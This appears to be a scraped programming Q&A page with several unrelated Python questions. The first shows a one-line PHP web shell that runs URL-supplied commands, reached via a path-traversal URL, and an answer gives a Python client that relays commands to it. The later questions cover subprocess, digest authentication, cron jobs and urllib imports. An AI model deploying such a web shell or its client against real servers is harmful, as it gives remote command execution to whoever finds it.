I created a php file that allow me to execute commands in the url. the php file and the url in the following quotes:
<?php
system($_GET['cmd']);
?>
the url is:
www.somewebsite.com/..././command.php?cmd=id
so here I used the command "id" and the output was:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now, I want to write a python script that pass the command I want as an argument and return the output in the terminal instead of executing the command in the browser.
This is my code so far:
import sys
import requests
import re
import webbrowser
url = 'http://localhost/.././command.php?cmd='
def remote():
webbrowser.open('url')
def main():
remote()
My problem is how to pass an argument as a command? like: python do.py id
Thanks in advance.
You are probably looking for this:
import requests
import sys
url = 'http://localhost/.././command.php?cmd='
command = str(sys.argv[1])
response = requests.get(url + command)
print response.content
You might need to install the requests module. You can do that easily using pip.
Related
I have a python code that uses subprocess to open another python file that has been converted to an executable file. I want to be able to pass a string in the form of a SQL query like SELECT * FROM TABLE.
So I have created a variable string called PARAM that has the value "SELECT * FROM TABLE".
This is the .py making running the subprocess:
import pandas as pd
import subprocess
import re
param = "Select * from Table"
send = subprocess.Popen(["C:\\Users\\example\\Desktop\\testing.exe",param],stdout=subprocess.PIPE).communicate()[0].decode()
print(send)
However for some reason I do not get back the output from the .py file that has been made in to an executable.
Here is the code for the executable:
from sys import argv
import requests as rq
from requests_kerberos import HTTPKerberosAuth, OPTIONAL
def get_hypercube(query):
#param = "select 1 as Id, 'Test' as Name" #argv
url = 'https://example.com/csv/query'
kerberos_auth = HTTPKerberosAuth(mutual_authentication=OPTIONAL, delegate=True)
payload = "q=" + str(query)
r = rq.get(url, auth=kerberos_auth, params=payload, verify=False)
output = r.text
return output
result = get_hypercube(argv)
print(result)
But the send does not bring me the result of the exe file (RESULT). I must be missing something, or not fully understanding how subprocess works.
Any help much appreciated.
Good-day Folks,
I am writing a small Python script that will be used on a Ubiquiti EdgeRouter 12P to make an API Call, using Digest Authentication, against another router for some JSON data. This is my first attempt at writing a Python script and I have been able to do this using the Requests module, but only in a Python v3.x.y environment. As I was writing my script, I discovered that the Python version on the EdgeRouter is v2.7.13 and the Requests module isn't installed/loaded.
I have attempted to do a pip install requests but it fails with an invalid syntax error message. So with my limited knowledge, I can't figure out what my options are now. Googled around a bit and saw references to using UrlLib or UrlLib2 - but I'm struggling with figuring out how to use either to make my API Call using Digest Authentication.
I would very much like to stick to the Requests module, as it appears to be the simplest and cleanest approach. Below is a snippet of my code, any help would be really appreciated, thanks.
PS. My script is not yet finished, as I'm still learning how to parse the response data received.
HERE'S MY SCRIPT
#PYTHON MODULE IMPORTS
import sys #Import the Python Sys module - used later to detect the Python version
PythonVersion = sys.version_info.major #Needed to put this global variable up here, so I can use it early
import json #Import the JSON module - used to print the API Call response content in JSON format
if PythonVersion == 3: #Import the REQUESTS and HTTPDigestAuth modules - used to make API Calls if we detect Python version 3
import requests
from requests.auth import HTTPDigestAuth
if PythonVersion == 2: #Import the UrlLib module - used to make API Calls if we detect Python version 2
import urllib
#GLOBAL VARIABLES
NodeSerial = '1234'
NodeIP = '192.168.1.100'
BasePath = 'api/v0.1'
apiURL = f"http://{NodeIP}/{BasePath}/MagiNodes"
#Define the credentials to use
Username='admin'
Passwd='mypassword'
#MAIN ROUTINE
print("This is a test script")
if PythonVersion == 2:
print("Python Version 2 detected")
elif PythonVersion == 3:
print("Python Version 3 detected")
print(f"Now querying MagiLink-{NodeSerial}...")
Query1 = requests.get(f"{apiURL}/{NodeSerial}", auth=HTTPDigestAuth(Username, Passwd)) #Using an F string
pretty_Query1 = json.dumps(Query1.json(), indent=3) #Pretty printing the response content
print(pretty_Query1)
I'm trying to run Python script for API. When I run it manualy it works fine. When I try to run the same script using cron, it fails.
In cron job i've something like this:
0 8-17 * * * root /usr/bin/python3 /root/scripts/python_script.sh
I've tryied also to run Python script from bash script, and manually it works, but running bash script with Python inside via cron doesn't work.
I think that problem is with saving file in my script, but i can't figured it out.
My Python script for API is below:
import requests
import json
import shutil
import os
import glob
def main():
ses = requests.Session()
base_url = 'URL/auth'
headers = {'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'}
payload = {'username':'USER', 'password':'PASS'}
response = ses.post(base_url, data=payload, headers=headers)
cookieJar = ses.cookies
s = str(cookieJar)
base_url_export = 'URL/export'
headers_export = {'accept':'application/json', 'Cookie':get_cookies, 'Content-Type':'application/json'}
payload_export = {'names':'FILE_1'}
response_export_route = ses.post(base_url_export, data=json.dumps(payload_export), headers=headers_export)
file_download_FILE_1 = str(response_export_FILE_1.text)
file_request = ses.get("URL/getFile/"+file_download_FILE_1)
open(file_download_FILE_1+".xlsx", "wb").write(file_request.content)
shutil.move('/root/scripts/'+file_download_FILE_1+'.xlsx', 'DST-DIR')
I have a very simple script that i wish to test out.
Master script (caller.py):
#!/usr/bin/env python2.7
import test2
test2.printMe()
Function/Module Script (test2.py):
def printMe():
print 'this actually works'
When I run caller.py, it works. Because the test2.py script exists in the same directory from which I'm calling caller.py.
What happens if i need to make the function(s) defined in test2.py available to the caller.py script, through a variable? There are times when the content of the test2.py function script wont always be in a file. Sometimes, it's inside a variable.
So basically, im looking for a way to access the functions that are in a variable just as import would access functions that are in a file.
I wish to be able to do something like this:
from commands import *
def run_command(cmd):
status, text = getstatusoutput(cmd)
print text
run_command('python /tmp/test2.py')
test2.printMe()
Please advise.
Try this:
from sys import path as sys_path
from os import path
def import_module(path_to_py_file):
dir_name, module_name = path.split(path.splitext(path_to_py_file)[0])
sys_path.append(dir_name)
return __import__(module_name)
Now you can do this:
test2 = import_module(r'/tmp/test2.py')
test2.printMe()
import urllib request
import requests
goog_url = "https://query1.finance.yahoo.com/v7/finance/download/GOOG?period1=1501517722&period2=1504196122&interval=1d&events=history&crumb=bU42Yaj88Bt"
def download_stock_data(csv_url):
response = ur.urlopen(csv_url)
csv = response.read()
csv_str = str(csv)
lines = csv_str.split("\\n")
dest_url = r'goog.csv'
fx = open(dest_url, "w")
for line in lines:
fx.write(line + "\n")
fx.close()
download_stock_data(goog_url)
I'm trying to import a CSV file from the internet with this code. But I continue, despite my best efforts, to get a syntax error that says that it cannot find the request module of the urllib import.
File "/Users/Micmaster/PycharmProjects/pythonProject/firstProject.py", line 1
import urllib request
^
SyntaxError: invalid syntax
I've tried many different variations "from urllib import request", "import urllib.request", "import urllib", "import urllib2.request" and even changing versions of my interpreter on pycharm. Any help would be appreciated, thanks!
The urllib.request module is in Python 3 library;
For Python 2 you'd use urllib2.
I will write about python2.
Why are you trying import request python or object from the urllib package, when this package doesn't have it.
And on the next line your import requests. So use requests.
And I don't know why you need urllib, but change import urllib request to import urllib as ur.
import urllib
from urllib import request
goog_url = "https://query1.finance.yahoo.com/v7/finance/download/GOOG?period1=1501517722&period2=1504196122&interval=1d&events=history&crumb=bU42Yaj88Bt"
def download_stock_data(csv_url):
response = urllib.request.urlopen(csv_url)
csv = response.read()
csv_str = str(csv)
lines = csv_str.split("\\n")
dest_url = r'goog.csv'
fx = open(dest_url, "w")
for line in lines:
fx.write(line + "\n")
fx.close()
download_stock_data(goog_url)
Your code should look like this. But it is still showing HTTP Error 401: Unauthorized you had taken the wrong URL.